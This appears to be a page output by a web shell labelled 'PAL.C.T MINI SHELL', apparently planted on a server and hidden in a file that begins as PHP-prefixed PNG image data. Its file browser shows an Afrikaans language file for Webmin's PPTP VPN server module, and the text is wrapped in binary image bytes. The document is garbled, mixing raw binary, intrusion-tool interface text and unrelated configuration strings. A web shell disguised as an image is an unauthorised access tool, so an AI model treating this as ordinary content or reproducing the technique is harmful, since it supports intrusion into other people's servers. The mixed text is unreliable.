php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/pptp-server/lang/
upload
files >> //usr/libexec/webmin/pptp-server/lang/af.auto

index_title=PPTP VPN-bediener
index_version=PoPToP-weergawe $1 
index_epptpd=Die PoPToP PPTP-bediener $1 is nie op u stelsel gevind nie, of is nie die regte program nie. Miskien is dit nie geïnstalleer nie, of is u <a href='$2'>module-opstelling</a> verkeerd.
index_econfig=Die PPTP-bediener se konfigurasielêer $1 is nie op u stelsel gevind nie. Miskien is u <a href='$2'>module-opstelling</a> verkeerd.
index_stop=Stop PPTP-bediener
index_stopdesc=Klik op hierdie knoppie om die lopende PPTP-bedienerproses af te sluit, sodat geen nuwe verbindings aanvaar word nie. Bestaande VPN-verbindings sal egter steeds aktief bly.
index_start=Begin PPTP-bediener
index_startdesc=Klik op hierdie knoppie om die PPTP-bedienerproses te begin sodat dit VPN-verbindings van kliënte kan ontvang.
index_apply=Pas konfigurasie toe
index_applydesc=Klik op hierdie knoppie om die huidige PPTP-bedieneropsies toe te pas deur die PPTP-bedienerproses te stop en weer te begin. Wysigings aan die PPP-opsies en PPP-rekeninge sal altyd van toepassing wees op enige nuwe verbindings
index_return=module-indeks
index_epppd=Die PPP-bedienerprogram $1 is nie op u stelsel geïnstalleer nie. Die PPTP hang daarvan af om te werk.

conf_title=PPTP-bedieneropsies
conf_ecannot=U mag nie die PPTP-bedieneropsies wysig nie
conf_header=PPTP-bediener konfigurasie
conf_speed=PPP baud tarief
conf_baud=bps
conf_listen=Luister op adres
conf_all=Alle adresse
conf_localip=IP-adresse vir die bediener se einde van die verbinding
conf_remoteip=IP-adresse om aan kliënte toe te ken
conf_ipxnets=IPX-netwerke om toe te ken
conf_from=Van
conf_to=om
conf_option=PPP-opsielêer
conf_mode0=Globale instellings
conf_mode1=PPTP-spesifieke instellings
conf_mode2=Pasgemaakte lêer
conf_ipdesc=IP-adres in beide reekse kan óf enkelvoudig ingevoer word (soos 192.168.1.1) óf as reekse (soos 192.168.2.32-64)
conf_err=Stooropsies kon nie gestoor word nie
conf_espeed=Ontbrekende of ongeldige baudkoers
conf_elisten=Adres ontbreek of ongeldig om na te luister
conf_eoption=Persoonlike PPP-opsielêer ontbreek of ongeldig
conf_elocalip='$1' is nie 'n geldige plaaslike IP-adres of reeks nie
conf_eremoteip='$1' is nie 'n geldige IP-adres of reeks nie
conf_efrom=IPX-netwerk ontbreek of ongeldig vanaf adres
conf_eto=IPX-netwerk ontbreek of ongeldig om aan te spreek

options_title=PPP Opsies
options_ecannot=U mag nie PPP-opsies wysig nie
options_desc0=Die PPP-opsies hieronder van $1 is van toepassing op ALLE inkomende verbindings wat deur u stelsel ontvang word, insluitend dié vir inbelmodems.
options_desc1=Die PPP-opsies hieronder van $1 is slegs van toepassing op alle PPTP-verbindings.
options_desc2=Dit sal gebruik word deur enige nuwe verbindings wat tot stand kom nadat hierdie vorm gestoor is.
options_header=PPP-verbindingsopsies
options_proxyarp=Skep 'n instaan-ARP-inskrywing?
options_lock=Sluit PTY-toestellêer?
options_auth=Vereis verifikasie?
options_auth0=Nee, maar voorkom geruilde IP's
options_auth1=nooit
options_auth2=altyd
options_login=Doen u ook unix-verifikasie?
options_pap=PAP-verifikasie
options_chap=CHAP-verifikasie
options_req=Moet gebruik word
options_all=Mag gebruik word
options_ref=Kan nie gebruik word nie
options_name=Bedienernaam vir verifikasie
options_hn=Regte gasheernaam
options_mtu=Maksimum pakkie grootte stuur
options_mru=Maksimum pakkiegrootte ontvang
options_err=Kon nie PPP-opsies stoor nie
options_emtu=Ontbrekende of ongeldige maksimum stuurpakketgrootte
options_emru=Maksimum of maksimum pakkiegrootte ontbreek of ongeldig
options_ename=Ontbrekende of ongeldige bedienernaam vir verifikasie
options_version=PPPd weergawe $1 
options_msdesc=Die onderstaande opsies stel die MS-CHAP-verifikasiemetode en MPPE-kodering in staat, wat standaard deur Windows VPN-kliënte gebruik word. MPPE benodig egter ondersteuning in sowel die PPP-daemon as die bedryfstelselkern.
options_mschap=MS-CHAP-verifikasie
options_mschap-v2=MS-CHAP weergawe 2-verifikasie
options_chapms=MS-CHAP-verifikasie
options_chapms-v2=MS-CHAP weergawe 2-verifikasie

secrets_title=PPP-rekeninge
secrets_ecannot=U mag nie PPP-rekeninge wysig nie
secrets_return=indeks
secrets_none=Geen PPP-rekeninge is nog geskep nie.
secrets_enopfile=Die PPP-wagwoordlêer $1 bestaan nie op u stelsel nie. Miskien is PPP nie geïnstalleer nie, of is u <a href='$2'>module-opstelling</a> verkeerd.
secrets_table=PPP is verantwoordelik vir $1 
secrets_user=Gebruikersnaam
secrets_ips=IP-adresse
secrets_uany=ENIGE
secrets_sany=ENIGE
secrets_create=Skep 'n nuwe PPP-rekening.
secrets_desc=Die PPP-rekeninge wat op hierdie bladsy gelys word, is geneem uit die lêer $1 wat gebruik word vir verifikasie van $3. Net die vir u bediener $2 word getoon, nie rekeninge vir die maak van uitgaande verbindings nie.
secrets_delete=Vee geselekteerde PPP-rekeninge uit

edit_secret_etitle=Wysig PPP-rekening
edit_secret_ctitle=Skep PPP-rekening
edit_secret_acc=PPP-rekening
edit_secret_user=Gebruikersnaam
edit_secret_serv=bediener
edit_secret_sany=Enige
edit_secret_uany=Enige
edit_secret_pass=wagwoord
edit_secret_none=Geen
edit_secret_ffile=Van lêer af
edit_secret_leave=Laat onveranderd
edit_secret_setto=Stel na
edit_secret_vaddr=Geldige adresse
edit_secret_aany=Laat enige toe
edit_secret_anone=Laat niemand toe nie
edit_secret_alist=Laat gelys ..
edit_secret_save=Save
edit_secret_del=Delete
edit_secret_return=rekeninglys

save_secret_esave=Kon nie rekening stoor nie
save_secret_enoip='$1' is nie 'n geldige adres nie

stop_err=Kon nie die PPTP-bediener stop nie
stop_egone=Nie meer hardloop nie
stop_ecannot=U mag nie die PPTP-bediener stop nie

start_err=Kon nie die PPTP-bediener begin nie
start_ecannot=U mag nie die PPTP-bediener begin nie

apply_err=Kon nie die PPTP-bediener weer begin nie
apply_ecannot=U mag nie die PPTP-bediener weer begin nie

conns_title=Aktiewe verbindings
conns_ecannot=U mag nie aktiewe verbindings bestuur nie
conns_desc=Hierdie bladsy bevat 'n lys van die aktiewe PPTP-verbindings met u bediener. Om een met geweld te ontkoppel, klik op die naam van die koppelvlak.
conns_iface=PPP-koppelvlak
conns_client=Kliëntadres
conns_stime=Sedertdien gekoppel
conns_local=Bediener-VPN-adres
conns_remote=Kliënt-VPN-adres
conns_none=Geen PPTP-verbindings blyk tans aktief te wees nie.
conns_unknown=onbekend
conns_user=Gebruikersnaam

disc_err=Kon nie ontkoppel nie
disc_egone=Verbindings is nie meer aktief nie
disc_ekill=Proses loop nie meer nie

log_secret_create=Skep PPP-rekening $1 
log_secret_modify=Gewysigde PPP-rekening $1 
log_secret_delete=PPP-rekening $1 is uitgevee
log_deletes=$1 PPP-rekeninge is uitgevee
log_conf=Gewysigde PPTP-bedieneropsies
log_options=Gewysigde PPP-opsies
log_disc=Ontkoppelde kliënt $1 
log_start=PPTP-bediener is begin
log_stop=Gestopte PPTP-bediener
log_apply=Toegepaste PPTP-bedieneropstelling

acl_conf=Kan die opstelling verander?
acl_options=Kan opsies gewysig word?
acl_secrets=Kan PPTP-rekeninge bestuur?
acl_conns=Kan u verbindings sien?
acl_stop=Kan u PPTP-bediener stop en begin?
acl_apply=Kan konfigurasie toepas?
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`